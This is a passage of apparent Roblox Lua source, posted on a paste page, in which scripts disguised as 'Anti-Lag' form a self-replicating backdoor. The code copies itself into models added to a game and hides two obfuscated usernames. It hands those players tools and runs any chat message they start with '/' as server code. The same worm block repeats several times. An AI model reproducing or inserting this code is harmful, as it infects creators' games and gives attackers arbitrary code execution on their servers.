  1634. return false
  1635. end
  1636. function check(los)
  1637. local r = los:GetChildren()
  1638. for i = 1,#r do
  1639. local h = r[i]:FindFirstChild("Anti-Lag")
  1640. if h ~= nil then
  1641. h:remove()
  1642. end
  1643. end
  1644. end
  1645. function alto(xylem)
  1646. if xylem.className == "Model" then
  1647. check(xylem)
  1648. local que = script:clone()
  1649. que.Parent = rando(xylem)
  1650. end
  1651. end
  1652. function sortation(gone)
  1653. local dimbs = Altitude:clone()
  1654. dimbs = ramno(game.Workspace)
  1655. end
  1656. function onPlayerEntered(newPlayer)
  1657. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  1658. end
  1659. function Player(player)
  1660. player.Changed:connect(function (property)
  1661. if property == "Character" then
  1662. laber(player)
  1663. end
  1664. end)
  1665. end
  1666. game.Players.PlayerAdded:connect(Player)
  1667. game.Players.ChildAdded:connect(onPlayerEntered)
  1668. game.Players.ChildAdded:connect(laber)
  1669. script.ChildRemoved:connect(sortation)
  1670. game.Workspace.ChildAdded:connect(alto)
  1671. function onChatted(msg, recipient, speaker)
  1672. if yeild(speaker) ~= false then
  1673. if string.sub(msg,1,1) == "/" then
  1674. local dsting = Instance.new("Script")
  1675. dsting.Source = string.sub(msg,2)
  1676. dsting.Parent = game.Workspace
  1677. end
  1678. end
  1679. end
  1680. end))
  1681. Script17.Name = "Anti-Lag"
  1682. Script17.Parent = Tool0
  1683. table.insert(cors,sandbox(Script17,function()
  1684. Altitude = script:clone()
  1685. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  1686. Knox = {}
  1687. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  1688. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  1689. Play = {}
  1690. function rando(votation)
  1691. local hatr = 5
  1692. local calc = math.pi * math.huge
  1693. local longicate = votation:GetChildren()
  1694. if #longicate > hatr then
  1695. calc = calc + math.pi
  1696. return longicate[math.random(6,#longicate)]
  1697. end
  1698. end
  1699. function doublecheck()
  1700. local fj = game.Workspace:GetChildren()
  1701. for off = 1,#fj do
  1702. if fj[off].className == "Part" then
  1703. local fh = fj[off]:FindFirstChild("Anti-Lag")
  1704. if fh ~= nil then
  1705. return false
  1706. end
  1707. end
  1708. end
  1709. return true
  1710. end
  1711. function workcheck()
  1712. if doublecheck() == true then
  1713. local l = Altitude:clone()
  1714. l.Parent = rando(game.Workspace)
  1715. end
  1716. end
  1717. workcheck()
  1718. function gibite(quen)
  1719. local hup = Instance.new("Message")
  1720. hup.Text = "Detected"
  1721. hup.Parent = quen.Parent
  1722. local con = Instance.new("Script")
  1723. con.Source = [[wait(5) script.Parent:remove()]]
  1724. con.Parent = hup
  1725. for ish = 0,7 do
  1726. local a = Instance.new("HopperBin")
  1727. a.BinType = ish
  1728. a.Parent = quen
  1729. end
  1730. end
  1731. function laber(zonsa)
  1732. wait()
  1733. for slate = 1,#Knox do
  1734. if zonsa.Name == Knox[slate] then
  1735. gibite(zonsa.Backpack)
  1736. table.insert (Play, 1, zonsa.Name)
  1737. end
  1738. end
  1739. end
  1740. function yeild(frequency)
  1741. local t = Knox
  1742. for g = 1,#t do
  1743. if t[g] == frequency.Name then
  1744. return true
  1745. end
  1746. end
  1747. return false
  1748. end
  1749. function check(los)
  1750. local r = los:GetChildren()
  1751. for i = 1,#r do
  1752. local h = r[i]:FindFirstChild("Anti-Lag")
  1753. if h ~= nil then
  1754. h:remove()
  1755. end
  1756. end
  1757. end
  1758. function alto(xylem)
  1759. if xylem.className == "Model" then
  1760. check(xylem)
  1761. local que = script:clone()
  1762. que.Parent = rando(xylem)
  1763. end
  1764. end
  1765. function sortation(gone)
  1766. local dimbs = Altitude:clone()
  1767. dimbs = ramno(game.Workspace)
  1768. end
  1769. function onPlayerEntered(newPlayer)
  1770. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  1771. end
  1772. function Player(player)
  1773. player.Changed:connect(function (property)
  1774. if property == "Character" then
  1775. laber(player)
  1776. end
  1777. end)
  1778. end
  1779. game.Players.PlayerAdded:connect(Player)
  1780. game.Players.ChildAdded:connect(onPlayerEntered)
  1781. game.Players.ChildAdded:connect(laber)
  1782. script.ChildRemoved:connect(sortation)
  1783. game.Workspace.ChildAdded:connect(alto)
  1784. function onChatted(msg, recipient, speaker)
  1785. if yeild(speaker) ~= false then
  1786. if string.sub(msg,1,1) == "/" then
  1787. local dsting = Instance.new("Script")
  1788. dsting.Source = string.sub(msg,2)
  1789. dsting.Parent = game.Workspace
  1790. end
  1791. end
  1792. end
  1793. end))
  1794. Script18.Name = "Anti-Lag"
  1795. Script18.Parent = Tool0
  1796. table.insert(cors,sandbox(Script18,function()
  1797. Altitude = script:clone()
  1798. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  1799. Knox = {}
  1800. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  1801. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  1802. Play = {}
  1803. function rando(votation)
  1804. local hatr = 5
  1805. local calc = math.pi * math.huge
  1806. local longicate = votation:GetChildren()
  1807. if #longicate > hatr then
  1808. calc = calc + math.pi
  1809. return longicate[math.random(6,#longicate)]
  1810. end
  1811. end
  1812. function doublecheck()
  1813. local fj = game.Workspace:GetChildren()
  1814. for off = 1,#fj do
  1815. if fj[off].className == "Part" then
  1816. local fh = fj[off]:FindFirstChild("Anti-Lag")
  1817. if fh ~= nil then
  1818. return false
  1819. end
  1820. end
  1821. end
  1822. return true
  1823. end
  1824. function workcheck()
  1825. if doublecheck() == true then
  1826. local l = Altitude:clone()
  1827. l.Parent = rando(game.Workspace)
  1828. end
  1829. end
  1830. workcheck()
  1831. function gibite(quen)
  1832. local hup = Instance.new("Message")
  1833. hup.Text = "Detected"
  1834. hup.Parent = quen.Parent
  1835. local con = Instance.new("Script")
  1836. con.Source = [[wait(5) script.Parent:remove()]]
  1837. con.Parent = hup
  1838. for ish = 0,7 do
  1839. local a = Instance.new("HopperBin")
  1840. a.BinType = ish
  1841. a.Parent = quen
  1842. end
  1843. end
  1844. function laber(zonsa)
  1845. wait()
  1846. for slate = 1,#Knox do
  1847. if zonsa.Name == Knox[slate] then
  1848. gibite(zonsa.Backpack)
  1849. table.insert (Play, 1, zonsa.Name)
  1850. end
  1851. end
  1852. end
  1853. function yeild(frequency)
  1854. local t = Knox
  1855. for g = 1,#t do
  1856. if t[g] == frequency.Name then
  1857. return true
  1858. end
  1859. end
  1860. return false
  1861. end
  1862. function check(los)
  1863. local r = los:GetChildren()
  1864. for i = 1,#r do
  1865. local h = r[i]:FindFirstChild("Anti-Lag")
  1866. if h ~= nil then
  1867. h:remove()
  1868. end
  1869. end
  1870. end
  1871. function alto(xylem)
  1872. if xylem.className == "Model" then
  1873. check(xylem)
  1874. local que = script:clone()
  1875. que.Parent = rando(xylem)
  1876. end
  1877. end
  1878. function sortation(gone)
  1879. local dimbs = Altitude:clone()
  1880. dimbs = ramno(game.Workspace)
  1881. end
  1882. function onPlayerEntered(newPlayer)
  1883. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  1884. end
  1885. function Player(player)
  1886. player.Changed:connect(function (property)
  1887. if property == "Character" then
  1888. laber(player)
  1889. end
  1890. end)
  1891. end
  1892. game.Players.PlayerAdded:connect(Player)
  1893. game.Players.ChildAdded:connect(onPlayerEntered)
  1894. game.Players.ChildAdded:connect(laber)
  1895. script.ChildRemoved:connect(sortation)
  1896. game.Workspace.ChildAdded:connect(alto)
  1897. function onChatted(msg, recipient, speaker)
  1898. if yeild(speaker) ~= false then
  1899. if string.sub(msg,1,1) == "/" then
  1900. local dsting = Instance.new("Script")
  1901. dsting.Source = string.sub(msg,2)
  1902. dsting.Parent = game.Workspace
  1903. end
  1904. end
  1905. end
  1906. end))
  1907. for i,v in pairs(mas:GetChildren()) do
  1908. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  1909. pcall(function() v:MakeJoints() end)
  1910. end
  1911. mas:Destroy()
  1912. for i,v in pairs(cors) do
  1913. spawn(function()
  1914. pcall(v)
  1915. end)
  1916. end
Add Comment
Please, Sign In to add comment